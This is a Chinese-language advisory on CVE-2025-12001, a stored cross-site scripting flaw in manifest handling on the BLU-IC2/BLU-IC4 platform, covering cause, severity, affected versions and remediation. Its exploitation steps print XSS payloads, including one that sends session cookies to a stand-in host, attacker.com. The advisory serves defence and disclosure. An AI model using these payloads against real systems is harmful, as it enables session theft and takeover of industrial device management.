CVE-2025-12001CVE-2025-12001 是存在于 BLU-IC2 和 BLU-IC4 设备管理平台中的存储型跨站脚本(Stored XSS)漏洞。该漏洞的根本原因在于应用程序对用户上传的清单文件(application manifest)缺乏充分的输入清理与过滤机制。攻击者可以将恶意构造的 JavaScript 代码或 HTML 注入到清单文件中,当其他用户或管理员在平台中查看该清单时,恶意脚本将在受害者浏览器中自动执行,从而实现会话劫持、敏感信息窃取、权限提升或进一步的攻击活动。该漏洞的 CVSS 3.1 评分为 6.1,属于中危级别。攻击者无需认证即可通过网络发起攻击,但需要受害者进行交互(如查看被注入恶意代码的清单页面)。该漏洞影响 BLU-IC2 和 BLU-IC4 1.19.5 及之前的所有版本,建议用户尽快升级到修复版本以消除安全风险。BLU-IC 系列设备广泛应用于工业控制和楼宇自动化领域,因此该漏洞可能对相关行业的运营安全构成潜在威胁。
该漏洞源于 BLU-IC2/BLU-IC4 平台在处理应用程序清单(application manifest)时未对用户输入进行充分的消毒和验证。具体而言,当用户上传或编辑应用程序清单时,清单中的字段(如名称、描述、URL、配置参数等)被直接存储到数据库中而未进行 HTML 实体编码或恶意脚本过滤。当其他用户通过 Web 界面查看该清单时,服务器将未经处理的用户输入直接嵌入到 HTML 响应中返回给浏览器,导致恶意 JavaScript 代码在受害者浏览器上下文中执行。
利用方式如下:
1. 攻击者通过合法途径上传包含恶意脚本的应用程序清单,例如在清单名称或描述字段中注入 `<script>alert(document.cookie)</script>` 或 `<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>` 等载荷;
2. 恶意清单被存储到后端数据库中;
3. 当管理员或其他授权用户通过 Web 界面浏览该清单时,浏览器解析并执行嵌入的恶意脚本;
4. 攻击者可以利用此漏洞窃取用户会话 Cookie、CSRF Token,或执行未授权操作(如创建管理员账户、修改设备配置等);
5. 由于该漏洞影响范围为 Changed (S:C),恶意脚本可能影响多个页面和功能组件。
修复建议:对所有用户可控的清单字段实施严格的输入验证和输出编码,使用白名单过滤策略,并在渲染前对 HTML 特殊字符进行实体编码。